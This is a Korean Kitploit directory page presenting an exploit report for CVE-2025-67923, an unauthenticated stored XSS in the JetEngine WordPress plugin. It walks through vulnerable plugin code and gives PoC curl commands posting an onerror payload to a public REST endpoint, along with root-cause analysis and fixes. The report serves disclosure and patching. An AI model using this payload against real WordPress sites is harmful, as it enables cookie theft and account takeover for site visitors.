Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/randomrobbiebf/cve-2025-67923
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityAPI Security
GitHubrandomrobbiebf/cve-2025-67923

CVE-2025-67923

JetEngine <= 3.7.7 — CCT REST API를 통한 인증되지 않은 저장형 크로스 사이트 스크립팅

저장소 보기
5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-67923 악용 보고서

JetEngine <= 3.7.7 — CCT REST API를 통한 인증되지 않은 저장형 크로스 사이트 스크립팅

날짜: 2026년 3월 11일 CVSS 점수: 7.1 (높음) CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 영향받는 플러그인: JetEngine <= 3.7.7 플러그인 슬러그: jet-engine 수정 버전: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 연구자: Bonds (Patchstack 경유) 보고일: 2025년 10월 19일 공개일: 2026년 1월 테스트된 WordPress 버전: 최신


핵심 요약

CVE-2025-67923은 JetEngine WordPress 플러그인의 인증되지 않은 저장형 크로스 사이트 스크립팅(Stored XSS) 취약점으로, 3.7.7 이하 모든 버전에 영향을 미칩니다. 인증되지 않은 공격자는 공개 REST API를 통해 커스텀 콘텐츠 유형(CCT) 텍스트 필드에 임의의 HTML/JavaScript를 기록할 수 있으며, 피해자가 해당 위젯이 포함된 페이지를 방문하면 Maps Listing 위젯의 JavaScript innerHTML 싱크를 통해 이 값이 소독 없이 DOM에 주입됩니다.

이 공격에는 인증이나 권한이 필요하지 않습니다. 다음 조건만 충족하면 됩니다:

  1. REST API 쓰기 액세스가 public으로 설정된 JetEngine CCT가 존재할 것.
  2. 프론트엔드 페이지의 Maps Listing 위젯이 해당 CCT의 텍스트 필드를 지도 마커 레이블로 표시하도록 구성되어 있을 것.

✅ 취약점 확인됨 — 저장형 XSS 페이로드 기록 및 실행

확인된 영향:

  • 인증되지 않은 임의 HTML/JS가 소독 없이 CCT 데이터베이스에 저장됨
  • Maps Listing 위젯이 포함된 페이지를 로드하는 모든 방문자에게 XSS 실행
  • 쿠키 탈취, 세션 하이재킹, 저장된 자격 증명 수집, 관리자 계정 탈취

취약점 세부 정보

기술 요약

이 취약점은 두 가지 독립적인 약점의 조합입니다:

  1. 입력 소독 누락 (저장): CCT 항목 핸들러의 sanitize_field_value() 메서드에는 text 유형 필드에 대한 소독 경로가 없습니다. default: 분기는 타임스탬프만 변환하므로 — 원본 HTML이 그대로 통과하여 데이터베이스에 저장됩니다.

  2. DOM 기반 XSS 싱크 (렌더링): Maps Listing 위젯은 get_marker_label()을 통해 저장된 필드 값을 읽어 data-markers HTML 속성용으로 htmlspecialchars(json_encode(...))로 감싼 후, JavaScript 프론트엔드가 getAttribute()로 속성을 읽고(HTML 엔티티를 디코딩함), markerData.label을 innerHTML로 직접 삽입하여 — 포함된 HTML/JavaScript를 실행합니다.

영향받는 구성 요소


악용 체인

1단계 — 인증되지 않은 REST 쓰기

CCT 공개 REST 컨트롤러는 check_user_permissions()를 통해 권한을 확인합니다:

root@kitploit:~
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
    $content_type = $this->get_content_type_from_request( $request );
    $cap = $content_type->get_arg( $context );

    if ( ! $cap || 'public' === $cap ) {
        return true;  // No authentication required
    } else {
        return current_user_can( $cap );
    }
}

public function create_item_permissions_check( $request ) {
    return $this->check_user_permissions( $request, 'rest_put_access' );
}

CCT가 rest_put_access = 'public'으로 구성된 경우(공개 양식에 대해 지원되고 문서화된 구성), 엔드포인트는 완전히 인증되지 않습니다. 모든 HTTP 클라이언트는 /wp-json/jet-cct/{slug}에 POST할 수 있습니다.

2단계 — 소독되지 않은 저장

REST 핸들러는 $handler->update_item($params)를 호출하며, 이는 sanitize_field_value()에 도달합니다:

root@kitploit:~
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
    $type = isset( $field['type'] ) ? $field['type'] : false;

    switch ( $type ) {
        case 'repeater':    // sanitizes sub-fields
            // ...
        case 'checkbox':    // handles boolean arrays
        case 'checkbox-raw':
            // ...
        case 'media':
        case 'gallery':     // sanitizes media JSON
            // ...
        case 'wysiwyg':
            $value = jet_engine_sanitize_wysiwyg( $value );  // sanitized
            break;

        default:
            // TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
            $value = $this->factory->maybe_to_timestamp( $value, $field );
    }

    return $value;
}

text 유형 필드는 default: 분기에 도달합니다. maybe_to_timestamp()는 날짜가 아닌 문자열에 대해 값을 변경하지 않고 반환합니다. XSS 페이로드 ``가 그대로 저장됩니다.

3단계 — 이스케이프 없이 조회되는 레이블

Maps Listing 위젯이 렌더링될 때 get_marker_label()이 필드를 읽습니다:

root@kitploit:~
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {

    // ...
    switch ( $label_type ) {
        case 'meta_field':
            $field = $settings['marker_label_field'];
            if ( $field ) {
                $result = jet_engine()->listings->data->get_meta( $field, $post );
                // No esc_html() here — raw value returned
            }
            break;
    }

    return $result;  // Returns ""
}

반환된 값은 마커 데이터 배열에 배치됩니다:

root@kitploit:~
// render.php:231-237
$result[] = array(
    'id'        => $post_id,
    'latLang'   => $latlang,
    'label'     => $this->get_marker_label( $post, $settings ),  // raw XSS payload
    // ...
);

4단계 — 속성 인코딩은 innerHTML XSS를 방지하지 못함

마커 배열은 HTML 속성용으로 인코딩됩니다:

root@kitploit:~
// render.php:247
return htmlspecialchars( json_encode( $result ) );

json_encode는 ``를 문자열 ""로 직렬화합니다. 그런 다음 htmlspecialchars가 전체 JSON을 HTML 인코딩하여 다음을 생성합니다:

root@kitploit:~
[{...,&quot;label&quot;:&quot;&lt;img src=x onerror=alert(1)&gt;&quot;,...}]

이 값은 data-markers HTML 속성에 기록됩니다. 인코딩은 속성 경계만 보호할 뿐입니다. JavaScript가 속성을 읽을 때 브라우저가 HTML 엔티티를 디코딩하여 원래 문자를 복원합니다:

root@kitploit:~
// Browser automatically decodes entities when reading via dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''

5단계 — innerHTML 주입 (XSS 실행)

frontend-maps.js에서 원본 레이블 문자열이 HTML 콘텐츠 문자열에 직접 삽입됩니다:

root@kitploit:~
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//   
// </div>'

그런 다음 이 콘텐츠 문자열이 마커 요소의 innerHTML로 설정됩니다:

root@kitploit:~
// mapbox-maps.js:175
el.innerHTML = data.content;  // XSS FIRES

// leaflet-maps.js:34
contentHtml.innerHTML = content;  // XSS FIRES

Maps Listing 위젯이 포함된 페이지를 로드하는 모든 방문자가 페이로드를 트리거합니다.


개념 증명 (PoC)

사전 요구 사항

  1. JetEngine maps-listings 및 custom-content-types 모듈이 활성화되어 있어야 합니다.
  2. 이름이 locations인 CCT(슬러그: locations)가 다음 조건으로 존재해야 합니다:
    • rest_put_enabled = true
    • rest_put_access = 'public'
    • label이라는 이름의 text 유형 필드
  3. 프론트엔드 페이지의 Maps Listing 위젯이 다음 조건으로 구성되어 있어야 합니다:
    • marker_type = 'text'
    • marker_label_type = 'meta_field'
    • marker_label_field = 'label'

1단계 — XSS 페이로드 기록 (인증 없음)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Test Location",
    "label": "",
    "lat": "51.5074",
    "lng": "-0.1278"
  }'

응답:

root@kitploit:~
{"success": true, "item_id": 1}

2단계 — 원본 페이로드 저장 확인

root@kitploit:~
curl -s 'http://TARGET/wp-json/jet-cct/locations'

응답:

root@kitploit:~
[{
  "_ID": "1",
  "name": "Test Location",
  "label": "",
  "lat": "51.5074",
  "lng": "-0.1278"
}]

`` 태그가 그대로 저장됩니다 — 소독이 수행되지 않았습니다.

3단계 — XSS 트리거 (피해자가 페이지 방문)

Maps Listing 위젯이 포함된 페이지를 로드하는 인증 또는 비인증 방문자는 모두 페이로드를 실행합니다. 렌더링된 HTML 속성에는 다음이 포함됩니다:

root@kitploit:~
<div class="jet-map-box"
  data-markers="[{...&quot;label&quot;:&quot;&lt;img src=x onerror=alert(document.cookie)&gt;&quot;...}]"
  data-general="...">
</div>

JavaScript는 data-markers를 읽고, HTML 엔티티를 디코딩하고, JSON을 파싱한 후 DOM에 삽입합니다:

root@kitploit:~
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror fires → alert(document.cookie)

실시간 데모 — 엔드투엔드 페이로드 흐름

root@kitploit:~
Attacker                     WordPress REST API              Victim Browser
   |                               |                               |
   |-- POST /wp-json/jet-cct/ ---> |                               |
   |   {"label":" |
   |                               |                    el.innerHTML = label
   |                               |                    onerror=alert() FIRES

근본 원인 분석

원인 1 — 소독에서 제외된 text 필드

sanitize_field_value()는 wysiwyg에 대해 wp_kses 기반 소독을 명시적으로 처리하지만, 다른 모든 문자열 유형은 HTML 이스케이프를 수행하지 않는 default: 분기에 배치합니다. text 필드가 일반 텍스트라는 가정은 해당 값이 나중에 Maps 위젯의 innerHTML 경로를 통해 HTML로 렌더링될 때 깨집니다.

원인 2 — 잘못 적용된 htmlspecialchars

htmlspecialchars(json_encode($result))는 HTML 속성 경계를 보호하기 위해 적용됩니다. 이는 정확하고 필요한 조치입니다 — 그러나 값이 나중에 JavaScript를 통해 다시 읽혀 innerHTML로 DOM에 삽입될 때 XSS를 방지하기에는 충분하지 않습니다. 인코딩은 브라우저에 의해 되돌릴 수 있습니다. 올바른 수정 방법은 JSON 인코딩 이전에 개별 label 값에 esc_html()(또는 htmlspecialchars)을 적용하여 페이로드가 엔티티 인코딩된 텍스트로 JSON에 저장되도록 하는 것입니다. JavaScript가 innerHTML로 삽입하면 브라우저는 &lt;img&gt;를 HTML 태그가 아닌 텍스트로 렌더링합니다.

또는 레이블 필드의 JavaScript에서 innerHTML을 textContent로 교체합니다.

원인 3 — 소독 정책의 불충분한 범위

REST API 쓰기 경로(update_item)는 저장된 모든 값을 잠재적 HTML 싱크로 취급하지 않습니다. 소독 정책은 필드 유형별로만 정의되며, text 필드는 Maps 위젯을 통해 프론트엔드에서 HTML로 렌더링됨에도 불구하고 조용히 면제됩니다.


수정 방안


타임라인

날짜이벤트
2025년 10월 19일연구자 "Bonds"가 Patchstack을 통해 취약점 신고
2026년 1월취약점 정보 공개
2026년 1월수정 사항이 포함된 JetEngine 3.7.8 출시
2026년 3월 11일전체 PoC로 독립적 재현

참고 자료

  • Wordfence 권고 — CVE-2025-67923
  • Patchstack 권고
  • JetEngine 변경 로그 — 3.7.8
  • OWASP — 저장형 XSS
  • OWASP — DOM 기반 XSS
  • CWE-79: 웹 페이지 생성 중 입력의 부적절한 중화
도구 다운로드
파일문제
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424create_item_permissions_check가 CCT rest_put_access = 'public'일 때 true를 반환 — 인증 불필요
includes/modules/custom-content-types/inc/item-handler.php:489sanitize_field_value() default: 분기 — text 유형 필드에 대한 HTML 소독 없음
includes/modules/maps-listings/inc/render.php:233get_marker_label()이 esc_html() 없이 원본 메타 값을 반환
includes/modules/maps-listings/inc/render.php:247htmlspecialchars(json_encode($result)) — 속성 경계만 보호하며 innerHTML 주입은 방지하지 못함
includes/modules/maps-listings/assets/js/frontend-maps.js:112pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — 원본 레이블이 HTML 문자열에 삽입됨
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175el.innerHTML = data.content — XSS 실행 싱크
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34contentHtml.innerHTML = content — XSS 실행 싱크
수정 사항파일설명
저장 시 text 필드 소독item-handler.php:sanitize_field_value()default: 분기에 $value = wp_kses($value, []) 또는 sanitize_text_field($value) 추가
렌더링 시 레이블 이스케이프render.php:get_marker_label()레이블 값을 반환하기 전에 esc_html($result) 적용
레이블에 innerHTML 대신 textContent 사용frontend-maps.js, mapbox-maps.js, leaflet-maps.js콘텐츠가 레이블 전용 텍스트일 때 el.innerHTML = data.content를 안전한 DOM 구성으로 교체
REST 쓰기 액세스 기본값 제한플러그인 설정rest_put_access의 기본값을 public 대신 manage_options로 변경하고 명시적 옵트인 요구